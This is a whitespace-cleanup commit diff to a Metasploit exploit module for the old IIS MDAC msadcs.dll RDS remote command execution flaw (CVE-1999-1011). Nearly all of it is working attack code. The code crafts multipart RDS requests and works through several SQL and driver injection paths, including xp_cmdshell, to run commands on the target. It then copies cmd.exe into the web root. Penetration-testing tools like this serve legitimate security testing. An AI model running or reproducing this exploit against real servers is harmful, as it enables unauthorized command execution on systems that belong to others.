Remove whitespace
sinn3r
parent
bedfd6f9eb
commit
6d0dbcb106
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@ -1,7 +1,3 @@
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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@ -20,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
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def initialize
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super(
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'Name' => 'Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution',
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'Name' => 'Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution',
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'Description' => %q{
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This module can be used to execute arbitrary commands on IIS servers
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that expose the /msadc/msadcs.dll Microsoft Data Access Components
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@ -39,20 +35,19 @@ class Metasploit3 < Msf::Exploit::Remote
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and useful for debugging. Also set NAME to obtain the remote hostname,
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and METHOD to use the alternative VbBusObj technique.
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},
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'Author' => 'patrick',
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'Version' => '$Revision$',
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'Platform' => 'win',
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'References' =>
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'Author' => 'patrick',
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'Platform' => 'win',
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'References' =>
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[
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['OSVDB', '272'],
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['BID', '529'],
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['CVE', '1999-1011'],
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['MSB', 'ms98-004'],
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['MSB', 'ms99-025'],
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['MSB', 'ms99-025']
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],
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'Targets' =>
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'Targets' =>
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[
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# patrickw tested meterpreter OK 20120601
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# patrickw tested meterpreter OK 20120601
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# nt4server w/sp3, ie4.02, option pack, IIS4.0, mdac 1.5, over msaccess shell, reverse_nonx
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# w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp
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[ 'Automatic', { } ],
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@ -91,11 +86,11 @@ class Metasploit3 < Msf::Exploit::Remote
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def create_dsn(drive, dsn)
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req = "/scripts/tools/newdsn.exe?driver=Microsoft\%2BAccess\%2BDriver\%2B\%28*.mdb\%29\&dsn=#{dsn}\&dbq=#{drive}\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr="
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res = send_request_raw({
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'uri' => req,
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'uri' => req,
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})
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if (res and res.code == 200 and res.body =~ /<H2>Datasource creation <B>FAILED! The most likely cause is invalid attributes<\/B><\/H2>/)
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vprint_error("DSN CREATE failed for drive #{drive} with #{dsn}.")
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return false
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@ -104,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote
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return true
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end
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end
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def exec_cmd(sql, cmd, d)
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boundary = rand_text_alphanumeric(8)
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method = datastore['METHOD'] ? "VbBusObj.VbBusObjCls.GetRecordset" : "AdvancedDataFactory.Query"
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@ -118,15 +113,15 @@ class Metasploit3 < Msf::Exploit::Remote
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end
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vprint_status("Attempting to request: #{select} on #{d}")
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query = "\x02\x00\x03\x00\x08\x00#{[select.size].pack('S')}\x00\x00#{select}\x08\x00#{[dsn.size].pack('S')}\x00\x00#{dsn}"
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sploit = "--#{boundary}\r\n"
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sploit = "--#{boundary}\r\n"
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sploit << "Content-Type: application/x-varg\r\n"
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sploit << "Content-Length: #{query.length}\r\n\r\n"
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sploit << query
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sploit << "\r\n--#{boundary}--\r\n"
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data = "ADCClientVersion:01.06\r\n"
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data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=3'
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data << "\r\n\r\n"
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@ -140,14 +135,12 @@ class Metasploit3 < Msf::Exploit::Remote
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'Content-Length' => data.length,
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'Connection' => "Keep-Alive",
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},
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'method' => 'POST',
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'data' => data,
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})
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response = Rex::Text.to_ascii(res.body, 'utf-16be')
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if (response =~ /HTTP:\/\/www.microsoft.com\/activex.vip\/adofx/ || res.body =~ /o.u.t.p.u.t./)
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vprint_good("Command was successfully executed! Statement: #{select} Driver: #{d}")
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return true, sql, d
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@ -190,7 +183,7 @@ class Metasploit3 < Msf::Exploit::Remote
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vprint_error("Server accepted request however it failed for reasons unknown.")
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elsif (res.body =~ /\x09\x00\x01/) # magic bytes? rfp used it too :P maybe a retval?
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vprint_error("Unknown reply - but the command didn't execute")
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else
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else
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vprint_status("Unknown reply - server is likely patched:\n#{response}")
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end
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return false
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@ -205,7 +198,7 @@ class Metasploit3 < Msf::Exploit::Remote
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data = "ADCClientVersion:01.06\r\n"
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data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=0'
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data << "\r\n\r\n--#{boundary}--\r\n"
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res = send_request_raw({
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'uri' => datastore['PATH'] + '/VbBusObj.VbBusObjCls.GetMachineName',
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'agent' => 'ACTIVEDATA',
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@ -214,12 +207,11 @@ class Metasploit3 < Msf::Exploit::Remote
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'Content-Length' => data.length,
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'Connection' => "Keep-Alive",
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},
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'method' => 'POST',
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'data' => data,
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})
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if (res.code == 200 and res.body =~ /\x01(.+)/) # Should return the hostname
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print_good("Hostname: #{$1}")
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end
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@ -237,7 +229,7 @@ class Metasploit3 < Msf::Exploit::Remote
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"\\system32\\ias\\ias.mdb",
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"\\system32\\ias\\dnary.mdb",
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"\\system32\\certlog\\certsrv.mdb" ]
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mdbs = [ "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #these are non-windows
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"\\cfusion\\cfapps\\forums\\forums_.mdb",
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"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
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@ -255,16 +247,16 @@ class Metasploit3 < Msf::Exploit::Remote
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"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
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"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
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]
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print_status("Step 1: Trying raw driver to btcustmr.mdb")
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drives.each do |drive|
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sysdirs.each do |sysdir|
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ret = exec_cmd("Select * from Customers where City=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}\\help\\iis\\htm\\tutorial\\btcustmr.mdb;")
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return ret if (ret)
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end
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end
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print_status("Step 2: Trying to make our own DSN...")
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x = false # Stop if we make a DSN
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drives.each do |drive|
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@ -274,21 +266,21 @@ class Metasploit3 < Msf::Exploit::Remote
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end
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end
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end
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table = rand_text_alphanumeric(3)
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print_status("Step 3: Trying to create a new table in our own DSN...")
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exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general make table query
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print_status("Step 4: Trying to execute our command via our own DSN and table...")
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ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general exploit table query
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return ret if (ret)
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print_status("Step 5: Trying to execute our command via known DSNs...")
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dsns.each do |dsn|
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ret = exec_cmd("select * from MSysModules where name=", "cmd /c echo x", dsn) # this is table-independent query (new)
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return ret if (ret)
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end
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print_status("Step 6: Trying known system .mdbs...")
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drives.each do |drive|
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sysdirs.each do |sysdir|
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@ -299,7 +291,7 @@ class Metasploit3 < Msf::Exploit::Remote
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end
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end
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end
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print_status("Step 7: Trying known program file .mdbs...")
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drives.each do |drive|
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mdbs.each do |mdb|
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@ -308,14 +300,14 @@ class Metasploit3 < Msf::Exploit::Remote
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return ret if (ret)
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end
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end
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print_status("Step 8: Trying SQL xp_cmdshell method...")
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ret = exec_cmd("EXEC master..xp_cmdshell", "cmd /c echo x", "driver={SQL Server};server=(#{datastore['DBHOST']});database=#{datastore['DBNAME']};uid=#{datastore['DBUID']};pwd=#{datastore['DBPASSWORD']}") # based on hdm's sqlrds.pl :)
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return ret if (ret)
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return -1
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end
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def exploit
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print_status("Searching for valid command execution point...")
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x = false
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@ -325,10 +317,10 @@ class Metasploit3 < Msf::Exploit::Remote
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break
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end
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end
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if (x == true)
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print_good("Successful command execution found!")
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# now copy the file
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exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
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print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
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@ -396,7 +388,7 @@ class Metasploit3 < Msf::Exploit::Remote
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def cleanup
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framework.events.remove_exploit_subscriber(self)
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end
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def execute_command(cmd, opts = {})
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# Don't try the start command...
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# Using the "start" method doesn't seem to make iis very happy :(
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